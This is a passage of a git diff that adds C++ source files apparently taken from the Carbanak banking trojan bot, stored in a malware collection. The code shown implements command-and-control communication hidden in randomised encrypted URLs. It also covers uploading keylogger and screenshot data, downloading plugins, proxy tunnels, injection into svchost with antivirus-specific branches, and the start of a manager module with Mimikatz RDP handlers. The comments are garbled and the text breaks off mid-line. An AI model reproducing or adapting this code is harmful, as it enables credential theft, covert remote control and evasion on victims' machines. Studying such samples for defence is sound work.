numAdminAZ; //����� ������� ������� az++const int CountSimpleExts = 7;+char* SimpleExts[CountSimpleExts] = { _CT_(".gif"), _CT_(".jpg"), _CT_(".png"), _CT_(".htm"), _CT_(".html"), _CT_(".php"), _CT_(".shtml") };+const int CountParamsExts = 3;+char* ParamsExts[CountParamsExts] = { _CT_(".php"), _CT_(".bml"), _CT_(".cgi") };++Proxy::Connector* connector;+const int MaxDuplHashs = 8;+static uint duplHashs[MaxDuplHashs];+static int countDuplHashs = 0;+static int duplDst = 0; //���� ����������� ������: 1 - � �����, 2 - �� ������, 3 - � ����� � �� ������+static char* newAdminka = 0; //����� �������� ������ ������� �������� �������� adminka new, ������������ ������ ������+CRITICAL_SECTION lockHosts; //����������++const int MaxTogetherLogCode = 5; //������� ����� ����� ������������ ��������+const int MaxLogCodes = 20; //������� ����� ������� ��� �����+int* logCodes = 0; //���� ����� �� ��������+int countLogCodes = 0; //������� ����� ��������� � �������+CRITICAL_SECTION lockLog;++bool Init()+{+ numAdmin = 0;+ numAdminAZ = 0;+ newAdminka = 0;+ if( !Socket::Init() ) return false;+ connector = new Proxy::Connector();+ countDuplHashs = 0;+ CriticalSection::Init(lockHosts);++ logCodes = new int[MaxLogCodes];+ countLogCodes = 0;+ CriticalSection::Init(lockLog);++ return true;+}++void Release()+{+ delete connector;+ Str::Free(newAdminka);+}++//��������� ���� �� ����� � ����� ���� ��������+static bool VerifyConnect()+{+ StringBuilder hosts( MaxSizeHostAdmin, DECODE_STRING(Config::Hosts) );+ StringArray hs = hosts.Split('|');+ bool ret = false;+ if( hs.Count() > 0 )+ {+ for( int i = 0; i < hs.Count(); i++ )+ {+ int sc = Socket::ConnectHost( hs[i]->c_str() );+ if( sc > 0 )+ {+ Socket::Close(sc);+ ret = true;+ break;+ }+ }+ }+ else+ ret = true;+ return ret;+}++bool GetHostAdmin( int type, StringBuilder& host )+{+ CriticalSection cs(lockHosts);+ int* num = 0;+ switch(type)+ {+ case 0:+ num = &numAdmin;+ break;+ case 1: num = &numAdminAZ; break;+ default:+ return false;+ }+ StringBuilder hosts;+ if( GetHosts( type, hosts ) )+ {+ StringArray hs = hosts.Split('|');+ if( hs.Count() > 0 )+ {+ if( *num > hs.Count() || *num < 0 ) *num = 0;+ host = hs[*num];+ return true;+ }+ }+ return false;+}++bool GetHosts( int type, StringBuilder& hosts )+{+ const char* config_hosts = 0;+ bool encoded = true; //����������� �� �����+ switch(type)+ {+ case 0:+ if( newAdminka )+ {+ config_hosts = newAdminka;+ encoded = false;+ }+ else+ config_hosts = Config::Hosts;+ break;+ case 1: config_hosts = Config::HostsAZ; break;+ default:+ return false;+ }+ hosts = encoded ? DECODE_STRING(config_hosts) : config_hosts;+ return true;+}++static int CorrectlyInsert( int i, StringBuilder& s, const char* v, int c_v = -1 )+{+ while( i < s.Len() - 1 )+ {+ if( s[i - 1] != '-' && s[i - 1] != '.' && s[i] != '-' && s[i] != '.' )+ {+ s.Insert( i, v, c_v );+ return i;+ }+ i++;+ }+ return -1;+}++//���������� ������� ����� ������������ ����������+static int InsertDirectories( StringBuilder& s, int len )+{+ char slash[2];+ slash[0] = '/';+ slash[1] = 0;+ int slashs = Rand::Gen( 1, 4 );+ int p = 0;+ int maxDist = len / slashs; //����������� ����� ������� �������� ������� ����+ for( int i = 0; i < slashs && p < len; i++ )+ {+ p += Rand::Gen( 1, maxDist );+ int pp = CorrectlyInsert( p, s, slash, 1 );+ if( pp < 0 )+ break;+ p = pp + 1;+ len++;+ }+ return p;+}++static int InsertExt( int i, StringBuilder& s, const char** exts, int c_exts )+{+ int n = Rand::Gen(c_exts - 1);+ StringBuilderStack<8> ext( DECODE_STRING(exts[n]) );+ if( i == 0 ) //������� � ����� ������+ {+ s.Cat( ext, ext.Len() );+ return s.Len();+ }+ else+ {+ i = CorrectlyInsert( i, s, ext, ext.Len() );+ if( i < 0 )+ i = s.Len();+ else+ i += ext.Len();+ return i;+ }+}++static void TextToUrl( const char* psw, const StringBuilder& text, StringBuilder& url )+{+ StringBuilder s;+ s += '|';+ s += text;+ s += '|';+ int lenleft = Rand::Gen( 10, 20 );+ int lenright = Rand::Gen( 10, 20 );+ int lenres = s.Len() + lenleft + lenright;+ //������ ����� ������� 24, ����� �������� �� 3 (��� base64 ��� = � �����) � �� 8 (����� ����� � RC2)+ int lenres2 = ((lenres + 23) / 24) * 24 - 1; //�������� 1, ����� ���������� ����� ������ 8+ lenleft += lenres2 - lenres;+ StringBuilder left, right;+ Rand::Gen( left, lenleft );+ Rand::Gen( right, lenright );+ s.Insert( 0, left );+ s += right;+ Mem::Data data;+ data.Copy( s.c_str(), s.Len() );+ EncryptToText( data, url );+ if( Rand::Condition(50) )+ {+ int lendirs = Rand::Gen( url.Len() - 20, url.Len() - 10 ); //�� ����� ����� ����� ���� ����������+ InsertDirectories( url, lendirs );+ InsertExt( 0, url, (const char**)SimpleExts, CountSimpleExts );+ }+ else+ {+ int lendirs = Rand::Gen( url.Len() / 2 - 10, url.Len() / 2 + 10 ); //�� ����� ����� ����� ���� ����������+ int p = InsertDirectories( url, lendirs );+ if( lendirs - p > 0 )+ p = InsertExt( lendirs, url, (const char**)ParamsExts, CountParamsExts );+ char c1[2]; c1[0] = '?'; c1[1] = 0;+ p = CorrectlyInsert( p, url, c1, 1 ); //��������� ?+ p++;+ c1[0] = '&'; //����������� ����������+ char c2[2]; c2[0] = '='; c2[1] = 0;+ int params = Rand::Gen( 1, 4 );+ int lenparams = url.Len() - p;+ int distParam = lenparams / params;+ for( int i = 0; i < params; i++ )+ {+ int p2 = p + Rand::Gen( 1, distParam );+ int p4 = p2 + 1; //������� ���������� ���������+ if( p2 > url.Len() || i == params - 1 )+ p2 = url.Len();+ else+ {+ p2 = CorrectlyInsert( p2, url, c1, 1 );+ p4++;+ }+ if( p2 < 0 ) break;+ int p3 = Rand::Gen( p + 2, p2 - 1 );+ p3 = CorrectlyInsert( p3, url, c2, 1 );+ p = p4 + 1;+ if( p >= url.Len() ) break;+ }+ }+}+++//��������� ������ � �������+bool GenUrl( int type, HTTP::Request& request, const StringBuilder& text )+{+ StringBuilderStack<64> host;+ if( GetHostAdmin( type, host ) )+ {+ request.SetHost(host);+ //���������� ���+ StringBuilder url;+ switch( type )+ {+ case 0:+ TextToUrl( DECODE_STRING(Config::Password), text, url );+ break;+ case 1:+ url = text;+ break;+ }+ request.SetFile(url);+ return true;+ }+ return false;+}++///////////////////////////////////////////////////////////////////////////////////////////////////////////+/// ������� �������� � ��������� ������ �������+///////////////////////////////////////////////////////////////////////////////////////////////////////////++bool GetCmd( StringBuilder& cmd )+{+#ifndef IP_SERVER_FROM_DNS+ StringBuilder text;+ text += Config::UID;+ HTTP::Request request(connector);+ if( GenUrl( 0, request, text ) )+ {+ DbgMsg( "������: text %s", text.c_str() );+ DbgMsg( "������: url %s", request.GetUrl(text).c_str() );+ if( request.Get(10000) )+ {+ Mem::Data data;+ if( Decrypt( request.Response(), data ) )+ {+ data.ToString(cmd);+ return true;+ }+ }+ }+#else+ StringBuilderStack<128> host;+ if( GetHostAdmin( 0, host ) )+ {+ StringBuilderStack<64> prefix;+ Rand::Gen( prefix, 4, 8 );+ prefix += (uint)API(KERNEL32, GetTickCount)();+ prefix += '.';+ prefix += Config::XorMask;+ prefix += '.';+ host.Insert( 0, prefix );+ DbgMsg( "������ IP %s", host.c_str() );+ char ip[24];+ if( Socket::HostToIP( host, ip ) )+ {+ DbgMsg( "� %s IP: %s", host.c_str(), ip );+ if( Str::Cmp( ip, _CS_("127.0.0.1") ) != 0 )+ {+ cmd = _CS_("server force ");+ cmd += ip;+ cmd += _CS_(":443");+ return true;+ }+ }+ else+ DbgMsg( "�� ������� �������� IP" );+ }+#endif+ return false;+}++static void DuplDataKeylogger( const char* nameData, const char* nameProcess, const char* data, int c_data, const char* fileName )+{+ if( duplDst & 1 )+ {+ StringBuilderStack<MAX_PATH> path;+ Config::GetBotFolder( path, nameData, true );+ Path::AppendFile( path, nameProcess );+ path += _CS_(".txt");+ File::Append( path, data, c_data );+ }+ if( duplDst & 2 )+ {+ ManagerServer::SendFileToVideoServer( _CS_("keylogger"), nameProcess, _CS_("txt"), data, c_data );+ }+}++static void DuplDataScreenshot( const char* nameData, const char* nameProcess, const char* data, int c_data, const char* fileName )+{+ if( duplDst & 1 )+ {+ StringBuilderStack<MAX_PATH> path;+ Config::GetBotFolder( path, nameData, true );+ Path::AppendFile( path, nameProcess );+ path += '.';+ path += (uint)API(KERNEL32, GetTickCount)();+ path += '_';+ path += fileName;+ File::WriteAll( path, data, c_data );+ }+ if( duplDst & 2 )+ {+ ManagerServer::SendFileToVideoServer( _CS_("screenshots"), nameProcess, _CS_("png"), data, c_data );+ }+}++static void DuplData( const char* nameData, const char* nameProcess, const char* data, int c_data, const char* fileName )+{+ uint hashData = Str::Hash(nameData);+ for( int i = 0; i < countDuplHashs; i++ )+ {+ if( duplHashs[i] == hashData )+ {+ switch( hashData )+ {+ case 0x0035ac12: //keylogger+ DuplDataKeylogger( nameData, nameProcess, data, c_data, fileName );+ break;+ case 0x0bc205e4: //screenshot+ DuplDataScreenshot( nameData, nameProcess, data, c_data, fileName );+ break;+ }+ break;+ }+ }+}++bool SendData( MsgSendData* data )+{+ bool ret = false;+ DuplData( data->nameData, data->nameProcess, data->data, data->c_data, data->fileName );++#ifdef ON_SENDDATA_FOLDER+ StringBuilderStack<MAX_PATH> fileName = "c:\\botdebug\\";+ char time[16];+ Str::ToString( (uint)GetTickCount(), time );+ fileName += data->nameProcess;+ fileName += '.';+ fileName += data->nameData;+ fileName += '.';+ fileName += time;+ fileName += '.';+ if( data->file )+ fileName += data->fileName;+ else+ fileName += "txt";+ File::WriteAll( fileName, data->data, data->c_data );+#endif++ StringBuilderStack<256> text;+ text += Config::UID;+ text += '|';+ text += _CS_("data=");+ text += data->nameData;+ text += '|';+ text += _CS_("process=");+ text += data->nameProcess;+ text += '|';+ text += _CS_("idprocess=");+ text += data->hprocess;+ DbgMsg( "������� ������: '%s'", text.c_str() );++ HTTP::Request request(connector);+ if( GenUrl( 0, request, text ) )+ {+ if( data->file )+ {+ Mem::Data postMP;+ if( EncryptToBin( data->data, data->c_data, postMP ) )+ {+ HTTP::PostDataMultipart mp(request);+ mp.AddFile( _CS_("upload"), data->fileName, postMP );+ mp.End();+ ret = true;+ }+ }+ else+ {+ StringBuilder postText;+ if( EncryptToText( data->data, data->c_data, postText ) )+ {+ request.SetContentWebForm();+ int p = Rand::Gen( 4, 12 );+ postText.Insert( p, '=' );+ request.AddPostData(postText);+ ret = true;+ }+ }+ if( ret )+ request.Post(10000);+ }+ return ret;+}++bool LoadPlugin( const char* namePlugin, Mem::Data& plugin )+{+ StringBuilderStack<64> text;+ text += Config::UID;+ text += '|';+ text += _CS_("plugin=");+ text += namePlugin;+ HTTP::Request request(connector);+ DbgMsg( "�������� �������: %s", text.c_str() );+#ifdef ON_PLUGINS_FOLDER+ StringBuilderStack<MAX_PATH> fileName = "c:\\plugins\\";+ fileName += namePlugin;+ if( File::IsExists(fileName) )+ {+ File::ReadAll( fileName, plugin );+ return true;+ }+ else+ return false;+#else+ if( AdminPanel::GenUrl( 0, request, text ) )+ {+ for( int i = 0; i < 10; i++ ) //������ 10 ������� ��������� ������+ {+ StringBuilder u;+ DbgMsg( "%s", request.GetUrl(u).c_str() );+ if( request.Get(5000) )+ {+ if( request.AnswerCode() == 200 )+ {+ if( Decrypt( request.Response(), plugin ) )+ {+ if( plugin.Len() > 0 )+ return true;+ }+ }+ else+ DbgMsg( "��� �������� ������� '%s' ������� HTTP ������ %d", namePlugin, request.AnswerCode() );+ }+ else+ DbgMsg( "������ ���������� ������� ��� �������� ������� '%s'", namePlugin );+ DbgMsg( "�� ������� ��������� ������, ������� ��� ���" );+ Delay(1000);+ }+ }+ return false;+#endif+}++//���������� ������ � ������� � ������ get �������+bool SendDataCrossGet( StringBuilder& s )+{+ StringBuilder text(256);+ text += Config::UID;+ text += '|';+ text += s;+ HTTP::Request request(connector);+ DbgMsg( "�������� ������ GET �������� %s", text.c_str() );+ if( AdminPanel::GenUrl( 0, request, text ) )+ return request.Get(5000);+ return false;+}++void SendLog( const MsgLog* m )+{+ if( logCodes == 0 ) return;+ CriticalSection cs(lockLog);+ if( m->code > 0 )+ {+ logCodes[countLogCodes++] = m->code;+ }+ if( countLogCodes >= MaxTogetherLogCode || m->flush )+ {+ do+ {+ StringBuilderStack<64> s;+ s += _CS_("log=");+ int i = 0;+ for( ; i < countLogCodes; i++ )+ {+ if( i > 0 ) s += ',';+ s += logCodes[i];+ }+ SendDataCrossGet(s);+ countLogCodes -= i;+ } while( countLogCodes > 0 );+ }+}++///////////////////////////////////////////////////////////////////////////////////////////////////////////////////++bool EncryptToBin( const void* data, int c_data, Mem::Data& dst )+{+ if( dst.Copy( data, c_data ) > 0 )+ {+ byte IV[8];+ Rand::Gen( IV, 8 );+ if( Crypt::EncodeRC2( DECODE_STRING(Config::Password), (char*)IV, dst ) )+ {+ dst.Insert( 0, IV, sizeof(IV) );+ return true;+ }+ }+ return false;+}++bool EncryptToText( const void* data, int c_data, StringBuilder& dst )+{+ Mem::Data dstData;+ if( dstData.Copy( data, c_data ) > 0 )+ {+ StringBuilderStack<10> IV;+ Rand::Gen( IV, 8 );+ if( Crypt::EncodeRC2( DECODE_STRING(Config::Password), IV, dstData ) )+ {+ if( Crypt::ToBase64( dstData, dst ) )+ {+ dst.ReplaceChar( '/', '.' );+ dst.ReplaceChar( '+', '-' );+ dst.Insert( 0, IV );+ return true;+ }+ }+ }+ return false;+}++bool Decrypt( const Mem::Data& src, Mem::Data& dst )+{+ char IV[8];+ Mem::Copy( IV, src.Ptr(), sizeof(IV) );+ if( dst.Copy( 0, sizeof(IV), src ) > 0 )+ {+ if( Crypt::DecodeRC2( DECODE_STRING(Config::Password), IV, dst ) )+ {+ return true;+ }+ }+ return false;+}++}++PipeInetRequest::PipeInetRequest()+{+}++PipeInetRequest::~PipeInetRequest()+{+}++static void HandlerGetCmd( Pipe::AutoMsg msg, DWORD )+{+ StringBuilder cmd;+ if( AdminPanel::GetCmd(cmd) )+ {+ Pipe::SendAnswer( msg, msg->cmd, cmd.c_str(), cmd.Len() + 1 );+ }+}++static void HandlerSendData( Pipe::AutoMsg msg, DWORD )+{+ AdminPanel::SendData( (AdminPanel::MsgSendData*)msg->data );+}++static void HandlerLoadFile( Pipe::AutoMsg msg, DWORD )+{+ HTTP::Request request( AdminPanel::connector );+ if( msg->data[0] < ' ' ) //������ ��� �������+ {+ int type = msg->data[0] - 1;+ StringBuilderStack<64> host;+ if( !AdminPanel::GetHostAdmin( type, host ) )+ return;+ request.SetHost(host);+ request.SetFile( (char*)(msg->data + 1) );+ }+ else+ {+ request.SetUrl( (char*)msg->data );+ }+#ifdef DEBUG_STRINGS+ StringBuilder url;+ request.GetUrl(url);+ DbgMsg( "���������� �������: '%s'", url.c_str() );+#endif+ if( request.Get(5000) )+ {+ if( request.AnswerCode() == 200 )+ {+ Pipe::SendAnswer( msg, msg->cmd, request.Response().Ptr(), request.Response().Len() );+ }+ else+ DbgMsg( "������ '%s' ������ HTTP ������ %d", (char*)msg->data, request.AnswerCode() );+ }+ else+ DbgMsg( "������ ���������� ������� ��� ���� '%s'", (char*)msg->data );+}++static void HandlerLoadPlugin( Pipe::AutoMsg msg, DWORD )+{+ Mem::Data plugin;+ if( AdminPanel::LoadPlugin( (char*)msg->data, plugin ) )+ Pipe::SendAnswer( msg, msg->cmd, plugin.Ptr(), plugin.Len() );+ else //� ������ ������ �������� �������� ��� ������ �� ����������+ Pipe::SendAnswer( msg, msg->cmd, 0, 0 );+}++static void StartHttpProxy( const void* data, int sz_data )+{+ int port = *((int*)data);+ HttpProxy* proxy = new HttpProxy(port);+ proxy->StartAsync();+}++static void StartIpPortProxy( const void* data, int sz_data )+{+ int port = *((int*)data);+ AddressIpPort* addr = (AddressIpPort*)((byte*)data + sizeof(port));+ ThroughTunnel* tunnel = new ThroughTunnel( port, addr->ip, addr->port );+ tunnel->StartAsync();+}++int PipeInetRequest::Handler( Pipe::Msg* msgIn, void** msgOut )+{+ int ret = 0;+ switch( msgIn->cmd )+ {+ case CmdGetCmd:+ HandlerAsync( HandlerGetCmd, msgIn );+ break;+ case CmdSendData:+ HandlerAsync( HandlerSendData, msgIn );+ break;+ case CmdLoadFile:+ HandlerAsync( HandlerLoadFile, msgIn );+ break;+ case CmdLoadPlugin:+ HandlerAsync( HandlerLoadPlugin, msgIn );+ break;+ case CmdTunnelHttp:+ StartHttpProxy( msgIn->data, msgIn->sz_data );+ break;+ case CmdTunnelIpPort:+ StartIpPortProxy( msgIn->data, msgIn->sz_data );+ break;+ case CmdSetProxy:+ case CmdDelProxy:+ {+ int count = *((int*)msgIn->data);+ Proxy::Info* addr = (Proxy::Info*)( (byte*)msgIn->data + sizeof(int) );+ if( msgIn->cmd == CmdSetProxy )+ AdminPanel::connector->Add( addr, count );+ else+ AdminPanel::connector->Del( addr, count );+ }+ break;+ case CmdGetProxy:+ result.Clear();+ result.Append( &AdminPanel::connector->c_addr, sizeof(AdminPanel::connector->c_addr) );+ result.Append( AdminPanel::connector->addr, sizeof(Proxy::Info) * AdminPanel::connector->c_addr );+ *msgOut = result.Ptr();+ ret = result.Len();+ break;+ case CmdDupl:+ if( msgIn->sz_data > sizeof(uint) )+ {+ uint hash = *((uint*)msgIn->data);+ AdminPanel::duplDst = *((int*)(msgIn->data + sizeof(uint)));+ if( AdminPanel::duplDst == 0 ) //���������� ������������+ {+ int i = 0;+ //���� ��� ������������� ������+ while( i < AdminPanel::countDuplHashs )+ if( AdminPanel::duplHashs[i] == hash ) //�����+ {+ //������� ��� �� �������+ AdminPanel::countDuplHashs--;+ while( i < AdminPanel::countDuplHashs )+ {+ AdminPanel::duplHashs[i] = AdminPanel::duplHashs[i + 1];+ i++;+ }+ break;+ }+ else+ i++;+ }+ else //��������� ����� ��� ��� ������������+ {+ if( AdminPanel::countDuplHashs < AdminPanel::MaxDuplHashs )+ AdminPanel::duplHashs[AdminPanel::countDuplHashs++] = hash;+ }+ }+ break;+ case CmdNewAdminka:+ CriticalSection::Enter(AdminPanel::lockHosts);+ Mem::Free(AdminPanel::newAdminka);+ if( msgIn->sz_data == 0 ) //������ � ������� ��������+ {+ AdminPanel::newAdminka = 0;+ DbgMsg( "����� ����� ������� �������" );+ }+ else+ {+ AdminPanel::newAdminka = Str::Duplication( (char*)msgIn->data, msgIn->sz_data );+ DbgMsg( "����������� ����� ����� ��� ������� %s", AdminPanel::newAdminka );+ }+ AdminPanel::numAdmin = 0;+ CriticalSection::Leave(AdminPanel::lockHosts);+ break;+ case CmdSendDataCrossGet:+ AdminPanel::SendDataCrossGet( StringBuilder( 0, -1, (char*)msgIn->data, msgIn->sz_data - 1 ) );+ break;+ case CmdLog:+ AdminPanel::SendLog( (AdminPanel::MsgLog*)msgIn->data );+ break;+ }+ return ret;+}++bool PipeInetRequest::SendString( const char* namePipe, int cmd, const char* s, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver, DWORD tag )+{+ if( nameReceiver == 0 ) nameReceiver = Pipe::serverPipeResponse->GetName();+ //���������� ������ ������ � ����������� �����+ return PipeClient::Send( namePipe, cmd, s, Str::Len(s) + 1, nameReceiver, funcReceiver, tag );+}++bool PipeInetRequest::Reg( int priority )+{+ return ManagerServer::RegAdminPanel( this, priority );+}++bool PipeInetRequest::GetCmd( const char* namePipe, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver )+{+ if( nameReceiver == 0 ) nameReceiver = Pipe::serverPipeResponse->GetName();+ return PipeClient::Send( namePipe, CmdGetCmd, 0, 0, nameReceiver, funcReceiver );+}++bool PipeInetRequest::SendData( const char* namePipe, const AdminPanel::MsgSendData* data, int c_data )+{+ return PipeClient::Send( namePipe, CmdSendData, data, c_data );+}++bool PipeInetRequest::LoadFile( const char* namePipe, const char* url, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver, DWORD tag )+{+ return SendString( namePipe, CmdLoadFile, url, funcReceiver, nameReceiver, tag );+}++bool PipeInetRequest::LoadPlugin( const char* namePipe, const char* plugin, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver, DWORD tag )+{+ return SendString( namePipe, CmdLoadPlugin, plugin, funcReceiver, nameReceiver, tag );+}++//��������� ���� �� ����� �� ������� ��������� � ��������+bool VerifyConnect()+{+ if( AdminPanel::VerifyConnect() ) return true;+#ifdef ON_VIDEOSERVER+ if( VideoServer::VerifyConnect() ) return true;+#endif+ return false;+}++DWORD WINAPI AdminPanelThread( void* )+{+ uint dateWork = Config::GetDateWork();+ if( dateWork != 0 )+ {+ for(;;)+ {+ uint dateCurr = GetCurrDate();+ if( dateWork <= dateCurr ) break;+ Delay(10000);+ }+ }++ if( Config::state & RUNNED_DUBLICATION )+ {+ if( UpdateIsDublication(fileDropper) ) //���������� ��� ���������+ {+ if( fileDropper[0] )+ {+ Delay(2000); //�� ������ ������ ��������, ����� ����� ���������� ���������� ���+ InstallBotThread(0); //��������� ����� ��������� ������������+ }+ return 0;+ }+ Delay(5000); //�� ������ ������ ��������, ����� ���������� ��� �������������+ Config::state &= ~RUNNED_DUBLICATION;+ }+ if( !AdminPanel::Init() ) return 0;+ //���������� ����� �������� ����������+ if( Config::state & RUNNED_UPDATE )+ {+ DbgMsg( "�������� ����� � �������� � ��������" );+ if( !VerifyConnect() ) //������ ��� ����� ����� ���������� ��� ����� �� �����-�� �������, ������� ������� �������������� ������� ���������+ {+ if( RestartBot() )+ {+ DbgMsg( "���������� ������ �������" );+ return 0;+ }+ }+ fileDropper[0] = 0; //����� �� ��������� ������������+ }++ if( !Pipe::InitServerPipeResponse() ) return 0;+ if( Config::LoadNameManager() ) //����������+ {+ Config::state |= EXTERN_NAME_MANAGER;+ Delay(5000);+ }+ Task::Init();++#ifdef NOT_EXPLORER+ RunThread( ManagerLoopThread, 0 );+#endif+ //���������� ������ �����, ��� ��� svchost ����� ���� ������� � ������ �������� �������+ if( fileDropper[0] ) //��� ������� �������+ {+ Config::fileNameBot[0] = 0; //����� �� ��� ������������ (�������) �������+ RunThread( InstallBotThread, 0 ); //��� ���������� ��������� ��� ������������ � ������ ��������� ���+ }++ PipeInetRequest server;+ DbgMsg( "������� ������� ������ � ��������, ��� ������ '%s'", server.GetName().c_str() );+ for( int i = 0; i < 50; i++ ) //�������������� � ������� 5�, ���� ���� � ���������� ���������� ���+ {+ if( server.Reg(0) ) break; //������������ � ��������� ����� ������ � ������+ Delay(100);+ }+ TaskServer taskServer;+ taskServer.Reg(); //������������ � ��������� ������ ���������� ������+ taskServer.StartAsync(false);+ Task::ProtectBot();+#ifdef ON_VIDEOSERVER+ VideoServer::Start();+#endif+ if( (Config::state & NOT_USED_INJECT) == 0 )+ MonitoringProcesses::Start();++ Proxy::Info proxyAddr[10];+ int c_proxy = FindProxyAddr( proxyAddr, 10 );+ ManagerServer::SetProxy( proxyAddr, c_proxy );+ RunThread( FindProxyAddrCrossSniffer, 0 );+ //FindAuthenticationProxy( proxyAddr, c_proxy );+#ifdef ON_FORMGRABBER+ FormGrabber::StartCrossSniffer();+#endif+ server.Start(false);+ return 0;+}++DWORD WINAPI AdminPanelProcess( void* )+{+ if( !InitBot() ) return 0;+ //������ �� ����, �������� ���������� � �������+// byte* base = (byte*)PE::GetImageBase();+// base[0] = 0x00;+// base[1] = 0x00;+// PIMAGE_NT_HEADERS headers = PE::GetNTHeaders( PE::GetImageBase() );+// Mem::Set( (byte*)headers + sizeof(IMAGE_NT_HEADERS), 0, headers->FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER) );++ Rand::Init();+ AdminPanelThread(0);+// ReleaseBot();+ if( (Config::state & NOT_EXIT_PROCESS) == 0 )+ {+ API(KERNEL32, ExitProcess)(0);+ }+ return 0;+}++static void RunAdminPanelInSvchost2(DWORD)+{+ JmpToSvchost1( AdminPanelProcess, Config::exeDonor );+}++bool RunAdminPanelInSvchost()+{+ if( Config::state & NOT_USED_SCVHOST )+ {+ AdminPanelThread(0);+ return true;+ }+ else+ {+ if( Config::AV == AV_TrandMicro )+ return JmpToSvchost1( AdminPanelProcess, Config::exeDonor ) != 0;+ else+ return JmpToSvchost2( AdminPanelProcess, Config::exeDonor ) != 0;+// return JmpToSvchost1(AdminPanelProcess) != 0;+ //return JumpInSvchostRootkit(AdminPanelProcess) != 0;+ }+// return InjectCrossRootkit( RunAdminPanelInSvchost2, 0 );+// return JmpToSvchost1(AdminPanelProcess) != 0;+}++bool RunAdminPanel( bool thread )+{+ if( thread )+ return RunThread( AdminPanelThread, 0 );+ else+ AdminPanelThread(0);+ return true;+}++uint GetCurrDate()+{+ SYSTEMTIME st;+ API(KERNEL32, GetLocalTime)(&st);+ return (((((((st.wYear << 4) | st.wMonth) << 5) | st.wDay) << 5) | st.wHour) << 6) | st.wMinute;+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/Manager.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/Manager.cppnew file mode 100644index 0000000..dc48dc6--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/Manager.cpp@@ -0,0 +1,1055 @@+#include "main.h"+#include "Manager.h"+#include "AdminPanel.h"+#include "task.h"+#include "VideoServer.h"+#include "core\file.h"+#include "MonitoringProcesses.h"+#include "other.h"+#include "info.h"+#include "core\crypt.h"+#include "core\service.h"+#include "plugins.h"++static void HandlerManagerServer( Pipe::AutoMsg msg, DWORD tag );+static void HandlerMimikatzRDP( Pipe::AutoMsg msg, DWORD tag );+static void HandlerVideoServerConnect( Pipe::AutoMsg msg, DWORD tag );+static void HandlerVideoServerDisconnect( Pipe::AutoMsg msg, DWORD tag );+static void HandlerVideoServerRestart( Pipe::AutoMsg msg, DWORD tag );++ManagerServer::ManagerServer()+{+ currPipeInet = -1;+}++ManagerServer::~ManagerServer()+{+}++int ManagerServer::Handler( Pipe::Msg* msgIn, void** msgOut )+{+ int ret = 0;+ switch( msgIn->cmd )+ {+ case CmdReg:+ {+ MsgReg* msg = (MsgReg*)msgIn->data;+ PipeInet pipe;+ Str::Copy( pipe.name, sizeof(pipe.name), msg->namePipe );+ pipe.priority = msg->priority;+ pipesInet.Add(pipe);+ DbgMsg( "��������������� ����� ������� ����� ����: '%s'", msg->namePipe );+ GetNewPipeInet();+ }+ break;+ case CmdRegTask:+ pipeTaskServer = (char*)msgIn->data;+ DbgMsg( "��������������� ����� ������� ���������� �����: '%s'", pipeTaskServer.c_str() );+ break;+ case CmdRegVideo:+ pipeVideoServer = (char*)msgIn->data;+ DbgMsg( "��������������� ����� ����� �������: '%s'", pipeVideoServer.c_str() );+ break;+ case CmdRegMonProcesses:+ pipeMonProcesses = (char*)msgIn->data;+ DbgMsg( "��������������� ����� ����������� ���������: '%s'", pipeMonProcesses.c_str() );+ break;+ case CmdGetCmd:+ case CmdSendData:+ case CmdLoadFile:+ case CmdLoadPlugin:+ case CmdHttpProxy:+ case CmdIpPortProxy:+ case CmdSetProxy:+ case CmdDelProxy:+ case CmdDupl:+ case CmdNewAdminka:+ case CmdSendDataCrossGet:+ case CmdLog:+ case CmdRedirect:+ HandlerAsync( HandlerManagerServer, msgIn, (DWORD)this );+ break;+ case CmdGetProxy:+ {+ int nc = GetPipeInet();+ if( nc >= 0 )+ {+ PipeClient pipe(pipesInet[nc]->name);+ pipe.Request( PipeInetRequest::CmdGetProxy, msgIn->data, msgIn->sz_data, result );+ }+ else+ {+ result.Clear();+ int count = 0;+ result.Append( &count, sizeof(count) );+ }+ *msgOut = result.Ptr();+ ret = result.Len();+ }+ break;+ case CmdCmdExec:+ TaskServer::ExecTask( pipeTaskServer, (char*)msgIn->data, msgIn->sz_data );+ break;+ case CmdAddSharedFile:+ {+ SharedFile* file = (SharedFile*)Mem::Duplication( msgIn->data, msgIn->sz_data );+ AddSharedFile(file);+ }+ break;+ case CmdGetSharedFile:+ for( int i = 0; i < sharedFiles.Count(); i++ )+ {+ SharedFile* file = sharedFiles[i];+ if( Str::Cmp( file->name, (char*)msgIn->data ) == 0 )+ {+ *msgOut = file->data;+ ret = file->c_data;+ }+ }+ break;+ case CmdGetGlobalState:+ {+ PipeClient pipe(pipeTaskServer);+ pipe.Request( TaskServer::CmdGetGlobalState, msgIn->data, msgIn->sz_data, result );+ *msgOut = result.Ptr();+ ret = result.Len();+ }+ break;+ case CmdSetGlobalState:+ {+ PipeClient pipe(pipeTaskServer);+ pipe.Request( TaskServer::CmdSetGlobalState, msgIn->data, msgIn->sz_data, result );+ *msgOut = result.Ptr();+ ret = result.Len();+ }+ break;+ case CmdAddStartCmd:+ PipeClient::Send( pipeTaskServer, TaskServer::CmdAddStartCmd, msgIn->data, msgIn->sz_data );+ break;+#ifdef ON_VIDEOSERVER+ case CmdVideo:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdVideo, msgIn->data, msgIn->sz_data );+ break;+ case CmdVideoSendFirstFrame:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdFirstFrame, msgIn->data, msgIn->sz_data );+ break;+ case CmdVideoStop:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdVideoOff, msgIn->data, msgIn->sz_data );+ break;+ case CmdSendFileToVideoServer:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdSendFile, msgIn->data, msgIn->sz_data );+ break;+ case CmdVideoServerTunnel:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdTunnel, msgIn->data, msgIn->sz_data );+ break;+ case CmdAddVideoServers:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdAddServers, 